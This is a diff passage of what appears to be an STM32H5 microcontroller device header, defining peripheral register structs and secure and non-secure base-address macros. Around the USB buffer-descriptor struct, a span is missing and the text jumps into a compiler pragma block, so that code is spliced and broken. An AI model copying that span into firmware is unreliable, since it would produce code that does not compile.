__IO uint32_t IDMALAR; /*!< SDMMC DMA linked list address register, Address offset: 0x64 */ + __IO uint32_t IDMABAR; /*!< SDMMC DMA linked list memory base register,Address offset: 0x68 */ + uint32_t RESERVED2[5]; /*!< Reserved, 0x6C-0x7C */ + __IO uint32_t FIFO; /*!< SDMMC data FIFO register, Address offset: 0x80 */ +} SDMMC_TypeDef; + + + +/** + * @brief Delay Block DLYB + */ + +typedef struct +{ + __IO uint32_t CR; /*!< DELAY BLOCK control register, Address offset: 0x00 */ + __IO uint32_t CFGR; /*!< DELAY BLOCK configuration register, Address offset: 0x04 */ +} DLYB_TypeDef; + +/** + * @brief UCPD + */ +typedef struct +{ + __IO uint32_t CFG1; /*!< UCPD configuration register 1, Address offset: 0x00 */ + __IO uint32_t CFG2; /*!< UCPD configuration register 2, Address offset: 0x04 */ + __IO uint32_t CFG3; /*!< UCPD configuration register 3, Address offset: 0x08 */ + __IO uint32_t CR; /*!< UCPD control register, Address offset: 0x0C */ + __IO uint32_t IMR; /*!< UCPD interrupt mask register, Address offset: 0x10 */ + __IO uint32_t SR; /*!< UCPD status register, Address offset: 0x14 */ + __IO uint32_t ICR; /*!< UCPD interrupt flag clear register Address offset: 0x18 */ + __IO uint32_t TX_ORDSET; /*!< UCPD Tx ordered set type register, Address offset: 0x1C */ + __IO uint32_t TX_PAYSZ; /*!< UCPD Tx payload size register, Address offset: 0x20 */ + __IO uint32_t TXDR; /*!< UCPD Tx data register, Address offset: 0x24 */ + __IO uint32_t RX_ORDSET; /*!< UCPD Rx ordered set type register, Address offset: 0x28 */ + __IO uint32_t RX_PAYSZ; /*!< UCPD Rx payload size register, Address offset: 0x2C */ + __IO uint32_t RXDR; /*!< UCPD Rx data register, Address offset: 0x30 */ + __IO uint32_t RX_ORDEXT1; /*!< UCPD Rx ordered set extension 1 register, Address offset: 0x34 */ + __IO uint32_t RX_ORDEXT2; /*!< UCPD Rx ordered set extension 2 register, Address offset: 0x38 */ + uint32_t RESERVED[949];/*!< Reserved, Address offset: 0x3C -- 0x3F0 */ + __IO uint32_t IPVER; /*!< UCPD IP version register, Address offset: 0x3F4 */ + __IO uint32_t IPID; /*!< UCPD IP Identification register, Address offset: 0x3F8 */ + __IO uint32_t MID; /*!< UCPD Magic Identification register, Address offset: 0x3FC */ +} UCPD_TypeDef; + +/** + * @brief Universal Serial Bus Full Speed Dual Role Device + */ +typedef struct +{ + __IO uint32_t CHEP0R; /*!< USB Channel/Endpoint 0 register, Address offset: 0x00 */ + __IO uint32_t CHEP1R; /*!< USB Channel/Endpoint 1 register, Address offset: 0x04 */ + __IO uint32_t CHEP2R; /*!< USB Channel/Endpoint 2 register, Address offset: 0x08 */ + __IO uint32_t CHEP3R; /*!< USB Channel/Endpoint 3 register, Address offset: 0x0C */ + __IO uint32_t CHEP4R; /*!< USB Channel/Endpoint 4 register, Address offset: 0x10 */ + __IO uint32_t CHEP5R; /*!< USB Channel/Endpoint 5 register, Address offset: 0x14 */ + __IO uint32_t CHEP6R; /*!< USB Channel/Endpoint 6 register, Address offset: 0x18 */ + __IO uint32_t CHEP7R; /*!< USB Channel/Endpoint 7 register, Address offset: 0x1C */ + __IO uint32_t RESERVED0[8]; /*!< Reserved, */ + __IO uint32_t CNTR; /*!< Control register, Address offset: 0x40 */ + __IO uint32_t ISTR; /*!< Interrupt status register, Address offset: 0x44 */ + __IO uint32_t FNR; /*!< Frame number register, Address offset: 0x48 */ + __IO uint32_t DADDR; /*!< Device address register, Address offset: 0x4C */ + __IO uint32_t RESERVED1; /*!< Reserved */ + __IO uint32_t LPMCSR; /*!< LPM Control and Status register, Address offset: 0x54 */ + __IO uint32_t BCDR; /*!< Battery Charging detector register, Address offset: 0x58 */ +} USB_DRD_TypeDef; + +/** + * @brief Universal Serial Bus PacketMemoryArea Buffer Descriptor Table + */ +typedef struct +{ + __IO uint32_t TXBD; /*!= 6010050) + #pragma clang diagnostic pop +#elif defined (__GNUC__) + /* anonymous unions are enabled by default */ +#elif defined (__TMS470__) + /* anonymous unions are enabled by default */ +#elif defined (__TASKING__) + #pragma warning restore +#elif defined (__CSMC__) + /* anonymous unions are enabled by default */ +#else + #warning Not supported compiler type +#endif + + +/* =========================================================================================================================== */ +/* ================ Device Specific Peripheral Address Map ================ */ +/* =========================================================================================================================== */ + + +/** @addtogroup STM32H5xx_Peripheral_peripheralAddr + * @{ + */ + +/* Internal SRAMs size */ +#define SRAM1_SIZE (0x40000UL) /*!< SRAM1=256k */ +#define SRAM2_SIZE (0x10000UL) /*!< SRAM2=64k */ +#define SRAM3_SIZE (0x50000UL) /*!< SRAM3=320k */ +#define BKPSRAM_SIZE (0x01000UL) /*!< BKPSRAM=4k */ + +/* Flash, Peripheral and internal SRAMs base addresses - Non secure */ +#define FLASH_BASE_NS (0x08000000UL) /*!< FLASH (up to 2 MB) non-secure base address */ +#define SRAM1_BASE_NS (0x20000000UL) /*!< SRAM1 (256 KB) non-secure base address */ +#define SRAM2_BASE_NS (0x20040000UL) /*!< SRAM2 (64 KB) non-secure base address */ +#define SRAM3_BASE_NS (0x20050000UL) /*!< SRAM3 (320 KB) non-secure base address */ +#define PERIPH_BASE_NS (0x40000000UL) /*!< Peripheral non-secure base address */ + +/* External memories base addresses - Not aliased */ +#define FMC_BASE (0x60000000UL) /*!< FMC base address */ +#define OCTOSPI1_BASE (0x90000000UL) /*!< OCTOSPI1 memories accessible over AHB base address */ + +#define FMC_BANK1 FMC_BASE +#define FMC_BANK1_1 FMC_BANK1 +#define FMC_BANK1_2 (FMC_BANK1 + 0x04000000UL) /*!< FMC Memory Bank1 for SRAM, NOR and PSRAM */ +#define FMC_BANK1_3 (FMC_BANK1 + 0x08000000UL) +#define FMC_BANK1_4 (FMC_BANK1 + 0x0C000000UL) +#define FMC_BANK3 (FMC_BASE + 0x20000000UL) /*!< FMC Memory Bank3 for NAND */ +#define FMC_SDRAM_BANK_1 (FMC_BASE + 0x60000000UL) /*!< FMC Memory SDRAM Bank1 */ +#define FMC_SDRAM_BANK_2 (FMC_BASE + 0x70000000UL) /*!< FMC Memory SDRAM Bank2 */ + + +/* Peripheral memory map - Non secure */ +#define APB1PERIPH_BASE_NS PERIPH_BASE_NS +#define APB2PERIPH_BASE_NS (PERIPH_BASE_NS + 0x00010000UL) +#define AHB1PERIPH_BASE_NS (PERIPH_BASE_NS + 0x00020000UL) +#define AHB2PERIPH_BASE_NS (PERIPH_BASE_NS + 0x02020000UL) +#define APB3PERIPH_BASE_NS (PERIPH_BASE_NS + 0x04000000UL) +#define AHB3PERIPH_BASE_NS (PERIPH_BASE_NS + 0x04020000UL) +#define AHB4PERIPH_BASE_NS (PERIPH_BASE_NS + 0x06000000UL) + +/*!< APB1 Non secure peripherals */ +#define TIM2_BASE_NS (APB1PERIPH_BASE_NS + 0x0000UL) +#define TIM3_BASE_NS (APB1PERIPH_BASE_NS + 0x0400UL) +#define TIM4_BASE_NS (APB1PERIPH_BASE_NS + 0x0800UL) +#define TIM5_BASE_NS (APB1PERIPH_BASE_NS + 0x0C00UL) +#define TIM6_BASE_NS (APB1PERIPH_BASE_NS + 0x1000UL) +#define TIM7_BASE_NS (APB1PERIPH_BASE_NS + 0x1400UL) +#define TIM12_BASE_NS (APB1PERIPH_BASE_NS + 0x1800UL) +#define TIM13_BASE_NS (APB1PERIPH_BASE_NS + 0x1C00UL) +#define TIM14_BASE_NS (APB1PERIPH_BASE_NS + 0x2000UL) +#define WWDG_BASE_NS (APB1PERIPH_BASE_NS + 0x2C00UL) +#define IWDG_BASE_NS (APB1PERIPH_BASE_NS + 0x3000UL) +#define SPI2_BASE_NS (APB1PERIPH_BASE_NS + 0x3800UL) +#define SPI3_BASE_NS (APB1PERIPH_BASE_NS + 0x3C00UL) +#define USART2_BASE_NS (APB1PERIPH_BASE_NS + 0x4400UL) +#define USART3_BASE_NS (APB1PERIPH_BASE_NS + 0x4800UL) +#define UART4_BASE_NS (APB1PERIPH_BASE_NS + 0x4C00UL) +#define UART5_BASE_NS (APB1PERIPH_BASE_NS + 0x5000UL) +#define I2C1_BASE_NS (APB1PERIPH_BASE_NS + 0x5400UL) +#define I2C2_BASE_NS (APB1PERIPH_BASE_NS + 0x5800UL) +#define I3C1_BASE_NS (APB1PERIPH_BASE_NS + 0x5C00UL) +#define CRS_BASE_NS (APB1PERIPH_BASE_NS + 0x6000UL) +#define USART6_BASE_NS (APB1PERIPH_BASE_NS + 0x6400UL) +#define USART10_BASE_NS (APB1PERIPH_BASE_NS + 0x6800UL) +#define USART11_BASE_NS (APB1PERIPH_BASE_NS + 0x6C00UL) +#define CEC_BASE_NS (APB1PERIPH_BASE_NS + 0x7000UL) +#define UART7_BASE_NS (APB1PERIPH_BASE_NS + 0x7800UL) +#define UART8_BASE_NS (APB1PERIPH_BASE_NS + 0x7C00UL) +#define UART9_BASE_NS (APB1PERIPH_BASE_NS + 0x8000UL) +#define UART12_BASE_NS (APB1PERIPH_BASE_NS + 0x8400UL) +#define DTS_BASE_NS (APB1PERIPH_BASE_NS + 0x8C00UL) +#define LPTIM2_BASE_NS (APB1PERIPH_BASE_NS + 0x9400UL) +#define FDCAN1_BASE_NS (APB1PERIPH_BASE_NS + 0xA400UL) +#define FDCAN_CONFIG_BASE_NS (APB1PERIPH_BASE_NS + 0xA500UL) +#define SRAMCAN_BASE_NS (APB1PERIPH_BASE_NS + 0xAC00UL) +#define UCPD1_BASE_NS (APB1PERIPH_BASE_NS + 0xDC00UL) + +/*!< APB2 Non secure peripherals */ +#define TIM1_BASE_NS (APB2PERIPH_BASE_NS + 0x2C00UL) +#define SPI1_BASE_NS (APB2PERIPH_BASE_NS + 0x3000UL) +#define TIM8_BASE_NS (APB2PERIPH_BASE_NS + 0x3400UL) +#define USART1_BASE_NS (APB2PERIPH_BASE_NS + 0x3800UL) +#define TIM15_BASE_NS (APB2PERIPH_BASE_NS + 0x4000UL) +#define TIM16_BASE_NS (APB2PERIPH_BASE_NS + 0x4400UL) +#define TIM17_BASE_NS (APB2PERIPH_BASE_NS + 0x4800UL) +#define SPI4_BASE_NS (APB2PERIPH_BASE_NS + 0x4C00UL) +#define SPI6_BASE_NS (APB2PERIPH_BASE_NS + 0x5000UL) +#define SAI1_BASE_NS (APB2PERIPH_BASE_NS + 0x5400UL) +#define SAI1_Block_A_BASE_NS (SAI1_BASE_NS + 0x004UL) +#define SAI1_Block_B_BASE_NS (SAI1_BASE_NS + 0x024UL) +#define SAI2_BASE_NS (APB2PERIPH_BASE_NS + 0x5800UL) +#define SAI2_Block_A_BASE_NS (SAI2_BASE_NS + 0x004UL) +#define SAI2_Block_B_BASE_NS (SAI2_BASE_NS + 0x024UL) +#define USB_DRD_BASE_NS (APB2PERIPH_BASE_NS + 0x6000UL) +#define USB_DRD_PMAADDR_NS (APB2PERIPH_BASE_NS + 0x6400UL) + +/*!< AHB1 Non secure peripherals */ +#define GPDMA1_BASE_NS AHB1PERIPH_BASE_NS +#define GPDMA2_BASE_NS (AHB1PERIPH_BASE_NS + 0x01000UL) +#define FLASH_R_BASE_NS (AHB1PERIPH_BASE_NS + 0x02000UL) +#define CRC_BASE_NS (AHB1PERIPH_BASE_NS + 0x03000UL) +#define CORDIC_BASE_NS (AHB1PERIPH_BASE_NS + 0x03800UL) +#define FMAC_BASE_NS (AHB1PERIPH_BASE_NS + 0x03C00UL) +#define RAMCFG_BASE_NS (AHB1PERIPH_BASE_NS + 0x06000UL) +#define ICACHE_BASE_NS (AHB1PERIPH_BASE_NS + 0x10400UL) +#define DCACHE1_BASE_NS (AHB1PERIPH_BASE_NS + 0x11400UL) +#define GTZC_TZSC1_BASE_NS (AHB1PERIPH_BASE_NS + 0x12400UL) +#define GTZC_TZIC1_BASE_NS (AHB1PERIPH_BASE_NS + 0x12800UL) +#define GTZC_MPCBB1_BASE_NS (AHB1PERIPH_BASE_NS + 0x12C00UL) +#define GTZC_MPCBB2_BASE_NS (AHB1PERIPH_BASE_NS + 0x13000UL) +#define GTZC_MPCBB3_BASE_NS (AHB1PERIPH_BASE_NS + 0x13400UL) +#define BKPSRAM_BASE_NS (AHB1PERIPH_BASE_NS + 0x16400UL) + +#define GPDMA1_Channel0_BASE_NS (GPDMA1_BASE_NS + 0x0050UL) +#define GPDMA1_Channel1_BASE_NS (GPDMA1_BASE_NS + 0x00D0UL) +#define GPDMA1_Channel2_BASE_NS (GPDMA1_BASE_NS + 0x0150UL) +#define GPDMA1_Channel3_BASE_NS (GPDMA1_BASE_NS + 0x01D0UL) +#define GPDMA1_Channel4_BASE_NS (GPDMA1_BASE_NS + 0x0250UL) +#define GPDMA1_Channel5_BASE_NS (GPDMA1_BASE_NS + 0x02D0UL) +#define GPDMA1_Channel6_BASE_NS (GPDMA1_BASE_NS + 0x0350UL) +#define GPDMA1_Channel7_BASE_NS (GPDMA1_BASE_NS + 0x03D0UL) +#define GPDMA2_Channel0_BASE_NS (GPDMA2_BASE_NS + 0x0050UL) +#define GPDMA2_Channel1_BASE_NS (GPDMA2_BASE_NS + 0x00D0UL) +#define GPDMA2_Channel2_BASE_NS (GPDMA2_BASE_NS + 0x0150UL) +#define GPDMA2_Channel3_BASE_NS (GPDMA2_BASE_NS + 0x01D0UL) +#define GPDMA2_Channel4_BASE_NS (GPDMA2_BASE_NS + 0x0250UL) +#define GPDMA2_Channel5_BASE_NS (GPDMA2_BASE_NS + 0x02D0UL) +#define GPDMA2_Channel6_BASE_NS (GPDMA2_BASE_NS + 0x0350UL) +#define GPDMA2_Channel7_BASE_NS (GPDMA2_BASE_NS + 0x03D0UL) + +#define RAMCFG_SRAM1_BASE_NS (RAMCFG_BASE_NS) +#define RAMCFG_SRAM2_BASE_NS (RAMCFG_BASE_NS + 0x0040UL) +#define RAMCFG_SRAM3_BASE_NS (RAMCFG_BASE_NS + 0x0080UL) +#define RAMCFG_BKPRAM_BASE_NS (RAMCFG_BASE_NS + 0x0100UL) + +/*!< AHB2 Non secure peripherals */ +#define GPIOA_BASE_NS (AHB2PERIPH_BASE_NS + 0x00000UL) +#define GPIOB_BASE_NS (AHB2PERIPH_BASE_NS + 0x00400UL) +#define GPIOC_BASE_NS (AHB2PERIPH_BASE_NS + 0x00800UL) +#define GPIOD_BASE_NS (AHB2PERIPH_BASE_NS + 0x00C00UL) +#define GPIOE_BASE_NS (AHB2PERIPH_BASE_NS + 0x01000UL) +#define GPIOF_BASE_NS (AHB2PERIPH_BASE_NS + 0x01400UL) +#define GPIOG_BASE_NS (AHB2PERIPH_BASE_NS + 0x01800UL) +#define GPIOH_BASE_NS (AHB2PERIPH_BASE_NS + 0x01C00UL) +#define GPIOI_BASE_NS (AHB2PERIPH_BASE_NS + 0x02000UL) +#define ADC1_BASE_NS (AHB2PERIPH_BASE_NS + 0x08000UL) +#define ADC2_BASE_NS (AHB2PERIPH_BASE_NS + 0x08100UL) +#define ADC12_COMMON_BASE_NS (AHB2PERIPH_BASE_NS + 0x08300UL) +#define DAC1_BASE_NS (AHB2PERIPH_BASE_NS + 0x08400UL) +#define DCMI_BASE_NS (AHB2PERIPH_BASE_NS + 0x0C000UL) +#define PSSI_BASE_NS (AHB2PERIPH_BASE_NS + 0x0C400UL) +#define HASH_BASE_NS (AHB2PERIPH_BASE_NS + 0xA0400UL) +#define HASH_DIGEST_BASE_NS (AHB2PERIPH_BASE_NS + 0xA0710UL) +#define RNG_BASE_NS (AHB2PERIPH_BASE_NS + 0xA0800UL) +#define PKA_BASE_NS (AHB2PERIPH_BASE_NS + 0xA2000UL) +#define PKA_RAM_BASE_NS (AHB2PERIPH_BASE_NS + 0xA2400UL) + +/*!< APB3 Non secure peripherals */ +#define SBS_BASE_NS (APB3PERIPH_BASE_NS + 0x0400UL) +#define SPI5_BASE_NS (APB3PERIPH_BASE_NS + 0x2000UL) +#define LPUART1_BASE_NS (APB3PERIPH_BASE_NS + 0x2400UL) +#define I2C3_BASE_NS (APB3PERIPH_BASE_NS + 0x2800UL) +#define I2C4_BASE_NS (APB3PERIPH_BASE_NS + 0x2C00UL) +#define LPTIM1_BASE_NS (APB3PERIPH_BASE_NS + 0x4400UL) +#define LPTIM3_BASE_NS (APB3PERIPH_BASE_NS + 0x4800UL) +#define LPTIM4_BASE_NS (APB3PERIPH_BASE_NS + 0x4C00UL) +#define LPTIM5_BASE_NS (APB3PERIPH_BASE_NS + 0x5000UL) +#define LPTIM6_BASE_NS (APB3PERIPH_BASE_NS + 0x5400UL) +#define VREFBUF_BASE_NS (APB3PERIPH_BASE_NS + 0x7400UL) +#define RTC_BASE_NS (APB3PERIPH_BASE_NS + 0x7800UL) +#define TAMP_BASE_NS (APB3PERIPH_BASE_NS + 0x7C00UL) + +/*!< AHB3 Non secure peripherals */ +#define PWR_BASE_NS (AHB3PERIPH_BASE_NS + 0x0800UL) +#define RCC_BASE_NS (AHB3PERIPH_BASE_NS + 0x0C00UL) +#define EXTI_BASE_NS (AHB3PERIPH_BASE_NS + 0x2000UL) +#define DEBUG_BASE_NS (AHB3PERIPH_BASE_NS + 0x4000UL) + +/*!< AHB4 Non secure peripherals */ +#define SDMMC1_BASE_NS (AHB4PERIPH_BASE_NS + 0x8000UL) +#define DLYB_SDMMC1_BASE_NS (AHB4PERIPH_BASE_NS + 0x8400UL) +#define FMC_R_BASE_NS (AHB4PERIPH_BASE_NS + 0x1000400UL) /*!< FMC control registers base address */ +#define OCTOSPI1_R_BASE_NS (AHB4PERIPH_BASE_NS + 0x1001400UL) /*!< OCTOSPI1 control registers base address */ +#define DLYB_OCTOSPI1_BASE_NS (AHB4PERIPH_BASE_NS + 0x0F000UL) + +/*!< FMC Banks Non secure registers base address */ +#define FMC_Bank1_R_BASE_NS (FMC_R_BASE_NS + 0x0000UL) +#define FMC_Bank1E_R_BASE_NS (FMC_R_BASE_NS + 0x0104UL) +#define FMC_Bank3_R_BASE_NS (FMC_R_BASE_NS + 0x0080UL) +#define FMC_Bank5_6_R_BASE_NS (FMC_R_BASE_NS + 0x0140UL) + +/* Flash, Peripheral and internal SRAMs base addresses - Secure */ +#define FLASH_BASE_S (0x0C000000UL) /*!< FLASH (up to 2 MB) secure base address */ +#define SRAM1_BASE_S (0x30000000UL) /*!< SRAM1 (256 KB) secure base address */ +#define SRAM2_BASE_S (0x30040000UL) /*!< SRAM2 (64 KB) secure base address */ +#define SRAM3_BASE_S (0x30050000UL) /*!< SRAM3 (320 KB) secure base address */ +#define PERIPH_BASE_S (0x50000000UL) /*!< Peripheral secure base address */ + +/* Peripheral memory map - Secure */ +#define APB1PERIPH_BASE_S PERIPH_BASE_S +#define APB2PERIPH_BASE_S (PERIPH_BASE_S + 0x00010000UL) +#define AHB1PERIPH_BASE_S (PERIPH_BASE_S + 0x00020000UL) +#define AHB2PERIPH_BASE_S (PERIPH_BASE_S + 0x02020000UL) +#define APB3PERIPH_BASE_S (PERIPH_BASE_S + 0x04000000UL) +#define AHB3PERIPH_BASE_S (PERIPH_BASE_S + 0x04020000UL) +#define AHB4PERIPH_BASE_S (PERIPH_BASE_S + 0x06000000UL) + +/*!< APB1 secure peripherals */ +#define TIM2_BASE_S (APB1PERIPH_BASE_S + 0x0000UL) +#define TIM3_BASE_S (APB1PERIPH_BASE_S + 0x0400UL) +#define TIM4_BASE_S (APB1PERIPH_BASE_S + 0x0800UL) +#define TIM5_BASE_S (APB1PERIPH_BASE_S + 0x0C00UL) +#define TIM6_BASE_S (APB1PERIPH_BASE_S + 0x1000UL) +#define TIM7_BASE_S (APB1PERIPH_BASE_S + 0x1400UL) +#define TIM12_BASE_S (APB1PERIPH_BASE_S + 0x1800UL) +#define TIM13_BASE_S (APB1PERIPH_BASE_S + 0x1C00UL) +#define TIM14_BASE_S (APB1PERIPH_BASE_S + 0x2000UL) +#define WWDG_BASE_S (APB1PERIPH_BASE_S + 0x2C00UL) +#define IWDG_BASE_S (APB1PERIPH_BASE_S + 0x3000UL) +#define SPI2_BASE_S (APB1PERIPH_BASE_S + 0x3800UL) +#define SPI3_BASE_S (APB1PERIPH_BASE_S + 0x3C00UL) +#define USART2_BASE_S (APB1PERIPH_BASE_S + 0x4400UL) +#define USART3_BASE_S (APB1PERIPH_BASE_S + 0x4800UL) +#define UART4_BASE_S (APB1PERIPH_BASE_S + 0x4C00UL) +#define UART5_BASE_S (APB1PERIPH_BASE_S + 0x5000UL) +#define I2C1_BASE_S (APB1PERIPH_BASE_S + 0x5400UL) +#define I2C2_BASE_S (APB1PERIPH_BASE_S + 0x5800UL) +#define I3C1_BASE_S (APB1PERIPH_BASE_S + 0x5C00UL) +#define CRS_BASE_S (APB1PERIPH_BASE_S + 0x6000UL) +#define USART6_BASE_S (APB1PERIPH_BASE_S + 0x6400UL) +#define USART10_BASE_S (APB1PERIPH_BASE_S + 0x6800UL) +#define USART11_BASE_S (APB1PERIPH_BASE_S + 0x6C00UL) +#define CEC_BASE_S (APB1PERIPH_BASE_S + 0x7000UL) +#define UART7_BASE_S (APB1PERIPH_BASE_S + 0x7800UL) +#define UART8_BASE_S (APB1PERIPH_BASE_S + 0x7C00UL) +#define UART9_BASE_S (APB1PERIPH_BASE_S + 0x8000UL) +#define UART12_BASE_S (APB1PERIPH_BASE_S + 0x8400UL) +#define DTS_BASE_S (APB1PERIPH_BASE_S + 0x8C00UL) +#define LPTIM2_BASE_S (APB1PERIPH_BASE_S + 0x9400UL) +#define FDCAN1_BASE_S (APB1PERIPH_BASE_S + 0xA400UL) +#define FDCAN_CONFIG_BASE_S (APB1PERIPH_BASE_S + 0xA500UL) +#define SRAMCAN_BASE_S (APB1PERIPH_BASE_S + 0xAC00UL) +#define UCPD1_BASE_S (APB1PERIPH_BASE_S + 0xDC00UL) + +/*!< APB2 Secure peripherals */ +#define TIM1_BASE_S (APB2PERIPH_BASE_S + 0x2C00UL) +#define SPI1_BASE_S (APB2PERIPH_BASE_S + 0x3000UL) +#define TIM8_BASE_S (APB2PERIPH_BASE_S + 0x3400UL) +#define USART1_BASE_S (APB2PERIPH_BASE_S + 0x3800UL) +#define TIM15_BASE_S (APB2PERIPH_BASE_S + 0x4000UL) +#define TIM16_BASE_S (APB2PERIPH_BASE_S + 0x4400UL) +#define TIM17_BASE_S (APB2PERIPH_BASE_S + 0x4800UL) +#define SPI4_BASE_S (APB2PERIPH_BASE_S + 0x4C00UL) +#define SPI6_BASE_S (APB2PERIPH_BASE_S + 0x5000UL) +#define SAI1_BASE_S (APB2PERIPH_BASE_S + 0x5400UL) +#define SAI1_Block_A_BASE_S (SAI1_BASE_S + 0x004UL) +#define SAI1_Block_B_BASE_S (SAI1_BASE_S + 0x024UL) +#define SAI2_BASE_S (APB2PERIPH_BASE_S + 0x5800UL) +#define SAI2_Block_A_BASE_S (SAI2_BASE_S + 0x004UL) +#define SAI2_Block_B_BASE_S (SAI2_BASE_S + 0x024UL) +#define USB_DRD_BASE_S (APB2PERIPH_BASE_S + 0x6000UL) +#define USB_DRD_PMAADDR_S (APB2PERIPH_BASE_S + 0x6400UL) + +/*!< AHB1 secure peripherals */ +#define GPDMA1_BASE_S AHB1PERIPH_BASE_S +#define GPDMA2_BASE_S (AHB1PERIPH_BASE_S + 0x01000UL) +#define FLASH_R_BASE_S (AHB1PERIPH_BASE_S + 0x02000UL) +#define CRC_BASE_S (AHB1PERIPH_BASE_S + 0x03000UL) +#define CORDIC_BASE_S (AHB1PERIPH_BASE_S + 0x03800UL) +#define FMAC_BASE_S (AHB1PERIPH_BASE_S + 0x03C00UL) +#define RAMCFG_BASE_S (AHB1PERIPH_BASE_S + 0x06000UL) +#define ICACHE_BASE_S (AHB1PERIPH_BASE_S + 0x10400UL) +#define DCACHE1_BASE_S (AHB1PERIPH_BASE_S + 0x11400UL) +#define GTZC_TZSC1_BASE_S (AHB1PERIPH_BASE_S + 0x12400UL) +#define GTZC_TZIC1_BASE_S (AHB1PERIPH_BASE_S + 0x12800UL) +#define GTZC_MPCBB1_BASE_S (AHB1PERIPH_BASE_S + 0x12C00UL) +#define GTZC_MPCBB2_BASE_S (AHB1PERIPH_BASE_S + 0x13000UL) +#define GTZC_MPCBB3_BASE_S (AHB1PERIPH_BASE_S + 0x13400UL) +#define BKPSRAM_BASE_S (AHB1PERIPH_BASE_S + 0x16400UL) +#define GPDMA1_Channel0_BASE_S (GPDMA1_BASE_S + 0x0050UL) +#define GPDMA1_Channel1_BASE_S (GPDMA1_BASE_S + 0x00D0UL) +#define GPDMA1_Channel2_BASE_S (GPDMA1_BASE_S + 0x0150UL) +#define GPDMA1_Channel3_BASE_S (GPDMA1_BASE_S + 0x01D0UL) +#define GPDMA1_Channel4_BASE_S (GPDMA1_BASE_S + 0x0250UL) +#define GPDMA1_Channel5_BASE_S (GPDMA1_BASE_S + 0x02D0UL) +#define GPDMA1_Channel6_BASE_S (GPDMA1_BASE_S + 0x0350UL) +#define GPDMA1_Channel7_BASE_S (GPDMA1_BASE_S + 0x03D0UL) +#define GPDMA2_Channel0_BASE_S (GPDMA2_BASE_S + 0x0050UL) +#define GPDMA2_Channel1_BASE_S (GPDMA2_BASE_S + 0x00D0UL) +#define GPDMA2_Channel2_BASE_S (GPDMA2_BASE_S + 0x0150UL) +#define GPDMA2_Channel3_BASE_S (GPDMA2_BASE_S + 0x01D0UL) +#define GPDMA2_Channel4_BASE_S (GPDMA2_BASE_S + 0x0250UL) +#define GPDMA2_Channel5_BASE_S (GPDMA2_BASE_S + 0x02D0UL) +#define GPDMA2_Channel6_BASE_S (GPDMA2_BASE_S + 0x0350UL) +#define GPDMA2_Channel7_BASE_S (GPDMA2_BASE_S + 0x03D0UL) +#define RAMCFG_SRAM1_BASE_S (RAMCFG_BASE_S) +#define RAMCFG_SRAM2_BASE_S (RAMCFG_BASE_S + 0x0040UL) +#define RAMCFG_SRAM3_BASE_S (RAMCFG_BASE_S + 0x0080UL) +#define RAMCFG_BKPRAM_BASE_S (RAMCFG_BASE_S + 0x0100UL) + +/*!< AHB2 secure peripherals */ +#define GPIOA_BASE_S (AHB2PERIPH_BASE_S + 0x00000UL) +#define GPIOB_BASE_S (AHB2PERIPH_BASE_S + 0x00400UL) +#define GPIOC_BASE_S (AHB2PERIPH_BASE_S + 0x00800UL) +#define GPIOD_BASE_S (AHB2PERIPH_BASE_S + 0x00C00UL) +#define GPIOE_BASE_S (AHB2PERIPH_BASE_S + 0x01000UL) +#define GPIOF_BASE_S (AHB2PERIPH_BASE_S + 0x01400UL) +#define GPIOG_BASE_S (AHB2PERIPH_BASE_S + 0x01800UL) +#define GPIOH_BASE_S (AHB2PERIPH_BASE_S + 0x01C00UL) +#define GPIOI_BASE_S (AHB2PERIPH_BASE_S + 0x02000UL) +#define ADC1_BASE_S (AHB2PERIPH_BASE_S + 0x08000UL) +#define ADC2_BASE_S (AHB2PERIPH_BASE_S + 0x08100UL) +#define ADC12_COMMON_BASE_S (AHB2PERIPH_BASE_S + 0x08300UL) +#define DAC1_BASE_S (AHB2PERIPH_BASE_S + 0x08400UL) +#define DCMI_BASE_S (AHB2PERIPH_BASE_S + 0x0C000UL) +#define PSSI_BASE_S (AHB2PERIPH_BASE_S + 0x0C400UL) +#define HASH_BASE_S (AHB2PERIPH_BASE_S + 0xA0400UL) +#define HASH_DIGEST_BASE_S (AHB2PERIPH_BASE_S + 0xA0710UL) +#define RNG_BASE_S (AHB2PERIPH_BASE_S + 0xA0800UL) +#define PKA_BASE_S (AHB2PERIPH_BASE_S + 0xA2000UL) +#define PKA_RAM_BASE_S (AHB2PERIPH_BASE_S + 0xA2400UL) + +/*!< APB3 secure peripherals */ +#define SBS_BASE_S (APB3PERIPH_BASE_S + 0x0400UL) +#define SPI5_BASE_S (APB3PERIPH_BASE_S + 0x2000UL) +#define LPUART1_BASE_S (APB3PERIPH_BASE_S + 0x2400UL) +#define I2C3_BASE_S (APB3PERIPH_BASE_S + 0x2800UL) +#define I2C4_BASE_S (APB3PERIPH_BASE_S + 0x2C00UL) +#define LPTIM1_BASE_S (APB3PERIPH_BASE_S + 0x4400UL) +#define LPTIM3_BASE_S (APB3PERIPH_BASE_S + 0x4800UL) +#define LPTIM4_BASE_S (APB3PERIPH_BASE_S + 0x4C00UL) +#define LPTIM5_BASE_S (APB3PERIPH_BASE_S + 0x5000UL) +#define LPTIM6_BASE_S (APB3PERIPH_BASE_S + 0x5400UL) +#define VREFBUF_BASE_S (APB3PERIPH_BASE_S + 0x7400UL) +#define RTC_BASE_S (APB3PERIPH_BASE_S + 0x7800UL) +#define TAMP_BASE_S (APB3PERIPH_BASE_S + 0x7C00UL) + +/*!< AHB3 secure peripherals */ +#define PWR_BASE_S (AHB3PERIPH_BASE_S + 0x0800UL) +#define RCC_BASE_S (AHB3PERIPH_BASE_S + 0x0C00UL) +#define EXTI_BASE_S (AHB3PERIPH_BASE_S + 0x2000UL) +#define DEBUG_BASE_S (AHB3PERIPH_BASE_S + 0x4000UL) + +/*!< AHB4 secure peripherals */ +#define SDMMC1_BASE_S (AHB4PERIPH_BASE_S + 0x8000UL) +#define DLYB_SDMMC1_BASE_S (AHB4PERIPH_BASE_S + 0x8400UL) +#define FMC_R_BASE_S (AHB4PERIPH_BASE_S + 0x1000400UL) /*!< FMC control registers base address */ +#define OCTOSPI1_R_BASE_S (AHB4PERIPH_BASE_S + 0x1001400UL) /*!< OCTOSPI1 control registers base address */ +#define DLYB_OCTOSPI1_BASE_S (AHB4PERIPH_BASE_S + 0x0F000UL) + +/*!< FMC Banks Non secure registers base address */ +#define FMC_Bank1_R_BASE_S (FMC_R_BASE_S + 0x0000UL) +#define FMC_Bank1E_R_BASE_S (FMC_R_BASE_S + 0x0104UL) +#define FMC_Bank3_R_BASE_S (FMC_R_BASE_S + 0x0080UL) +#define FMC_Bank5_6_R_BASE_S (FMC_R_BASE_S + 